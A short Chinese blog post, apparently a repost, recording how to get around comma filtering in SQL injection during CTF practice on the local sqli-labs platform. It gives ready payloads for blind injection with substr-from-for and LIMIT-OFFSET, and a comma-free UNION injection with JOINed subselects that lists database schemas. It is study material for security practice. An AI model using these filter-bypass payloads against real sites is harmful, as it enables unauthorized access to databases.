SQL注入之逗号过滤绕过

在常规CTF的sql注入的时候都会过滤一些我们不喜欢被过滤的字符,比如这次的逗号,在盲注的时候用到substr函数和union的查询都用到了逗号,过滤了逗号怎么绕过呢?百度了一番。。。。。百度真是。。。。。还是谷歌吧,终于找到了一些方法,这里记录下来最简单的吧

0x0盲注

我们用sqli-labs平台练手,http://127.0.0.1/sqli-labs/Less-1/index.php?id=1,单引号测试有注入,用盲注的话语句如下

‘ and ascii(substr((select database()),1,1))=xx %23这样的话写个脚本很容易跑出来了,过滤逗号之后可以变成这样

‘ and ascii(substr((select database())from 1 for 1))=xx %23这应该是substring函数的两种用法吧,limit则是 LIMIT M OFFSET N

这里的M是最大回显限度,N是偏移量,与limit N,M有相同效果

先记下了

0x1union注入

我们都知道order by查询之后要用到union,还是这里的sqli-labs平台

http://127.0.0.1/sqli-labs/Less-1/index.php?id=1′ order by 3 %23是正常的,就是说三个字段了

我们正常是union select 1,2,3看返回页面的数据,过滤之后我们可以这样

union select * from ((select 1)a JOIN (select 2)b JOIN (select 3)c)%23

继续注入就是常规的了union select * from ((select 1)a JOIN (select group_concat(schema_name separator 0x3c62723e) from information_schema.schemata)b JOIN (select 3)c)%23

学习自

http://drops.blbana.cc/2017/05/20/SQLi-%E2%80%94%E2%80%94-%E9%80%97%E5%8F%B7%EF%BC%8C%E7%A9%BA%E6%A0%BC%EF%BC%8C%E5%AD%97%E6%AE%B5%E5%90%8D%E8%BF%87%E6%BB%A4%E7%AA%81%E7%A0%B4/

这里还有过滤的方法。。。

http://byd.dropsec.xyz/2017/03/21/SQL%E6%B3%A8%E5%85%A5-%E7%BB%95%E8%BF%87/

    原文作者:Sund4y
    原文地址: https://www.jianshu.com/p/aa8b344b87b0
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞